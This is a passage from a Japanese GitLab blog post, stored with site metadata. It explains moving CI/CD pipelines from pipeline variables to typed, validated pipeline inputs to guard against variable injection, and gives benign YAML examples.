\"$ENABLE_CACHE\" = \"true\" ]; then\n        echo \"キャッシュが有効です\"\n      fi\n```\n\n\n\n**変更後(パイプライン入力を使用)**\n\n\n\n```text\n\nspec:\n  inputs:\n    deploy_env:\n      description: \"デプロイメント環境\"\n      type: string\n      default: \"staging\"\n      options: [\"dev\", \"staging\", \"production\"]\n\n    enable_cache:\n      description: \"デプロイメントキャッシュを有効化\"\n      type: boolean\n      default: true\n    \n    version:\n      description: \"アプリケーションバージョン\"\n      type: string\n      default: \"1.0.0\"\n      regex: '^[0-9]+\\.[0-9]+\\.[0-9]+$'\n\ndeploy:\n  script:\n    - echo \"$[[ inputs.deploy_env ]]へバージョン$[[ inputs.version ]]をデプロイ中\"\n    - |\n      if [ \"$[[ inputs.enable_cache ]]\" = \"true\" ]; then\n        echo \"キャッシュが有効です\"\n      fi\n```\n\n\n\n### トリガージョブの移行\n\n\n\n`trigger`キーワードでトリガージョブを使用している場合は、ジョブレベルの`variables`を定義していないこと、またはトップレベルの`variables`、`extends`、`include`からの変数の継承を無効にしていないことを確認してください。変数が暗黙的にダウンストリームにパイプライン変数として渡される可能性があるためです。ダウンストリームプロジェクトでパイプライン変数が制限されている場合、パイプラインの作成は失敗します。\n\n\n\nパイプライン変数の代わりに、パイプライン入力を使用するようにCI構成を更新することを検討してください。\n\n\n\n```yaml\n\nvariables:\n  FOO: bar\n\ndeploy-staging:\n  inherit:\n    variables: false # そうしないとFOOがダウンストリームにパイプライン変数として送信されます\n  trigger:\n    project: myorg/deployer\n    inputs:\n      deployment_env: staging\n      enable_tests: true\n```\n\n\n\n## まとめ\n\n\n\nパイプライン変数からパイプライン入力への移行は、変数インジェクションからCI/CDインフラを保護するセキュリティ強化であり、同時により優れたドキュメント、型安全性、検証を提供します。これらの制限を実装し、パイプライン入力を採用することで、セキュリティを向上させるだけでなく、パイプラインをよりメンテナンスしやすく、自己文書化され、耐障害性の高いものにすることができます。\n\n\n\n移行には初期の労力が必要ですが、長期的なメリットは移行コストをはるかに上回ります。まず、新規プロジェクトのグループレベルでパイプライン変数を制限ることから始め、次に上記の段階的なアプローチを使用して既存のパイプラインを体系的に移行してください。\n\n\n\nセキュリティの強化は、終わりのない継続的なプロセスです。パイプライン入力は、保護されたブランチ、ジョブトークン許可リスト、コンテナレジストリ保護など、他のGitLabセキュリティ機能を補完し、より安全なCI/CD環境を構築するための重要なステップです。\n\n\n\n> パイプライン入力を始めるには、[GitLab Ultimateの無料トライアルに今すぐ登録](https://about.gitlab.com/ja-jp/free-trial/devsecops/)してください。\n",[1153],"Fabio Pitino","2025-11-12","2025-11-04","パイプライン変数からパイプライン入力への移行でセキュリティを強化",[758,696,796,88],"このガイドでは、明示的な宣言、型安全性、検証の実装など、パイプラインのカスタマイズに関するより強力な制御について説明します。",{"featured":13,"template":784,"slug":1160},"migrate-from-pipeline-variables-to-pipeline-inputs-for-better-security",{"content":1162,"config":1165},{"title":827,"description":828,"authors":1163,"heroImage":831,"date":832,"body":833,"category":655,"tags":1164},[830],[777,746,779],{"featured":13,"template":784,"slug":836},[1167,1172,1177],{"content":1168,"config":1171},{"date":1013,"authors":1169,"tags":1170,"category":720,"heroImage":1017,"title":1018,"body":1019},[894],[777,88,242,696,252,779,720,1016,758],{"featured":642,"template":784,"slug":1021},{"content":1173,"config":1176},{"title":1024,"description":1025,"authors":1174,"heroImage":1028,"date":822,"body":1029,"category":720,"tags":1175},[1027],[696,720,257],{"featured":642,"template":784,"slug":1032},{"content":1178,"config":1181},{"title":853,"description":854,"authors":1179,"heroImage":857,"date":858,"body":859,"category":668,"tags":1180},[856],[758,746],{"featured":642,"template":784,"slug":862},[1183,1187,1192],{"content":1184,"config":1186},{"title":816,"description":817,"heroImage":818,"date":819,"body":820,"category":655,"tags":1185,"updatedDate":822},[777,746],{"featured":642,"template":784,"slug":824},{"content":1188,"config":1191},{"heroImage":1088,"body":1089,"authors":1189,"updatedDate":1091,"date":832,"title":1092,"tags":1190,"description":1094,"category":746},[894],[1016,777,746,88],{"featured":13,"template":784,"slug":1096},{"content":1193,"config":1196},{"title":1099,"description":1100,"authors":1194,"date":1103,"body":1104,"heroImage":1105,"category":746,"tags":1195},[781,1102],[900,746,696],{"featured":13,"template":784,"slug":1108},1772652133160]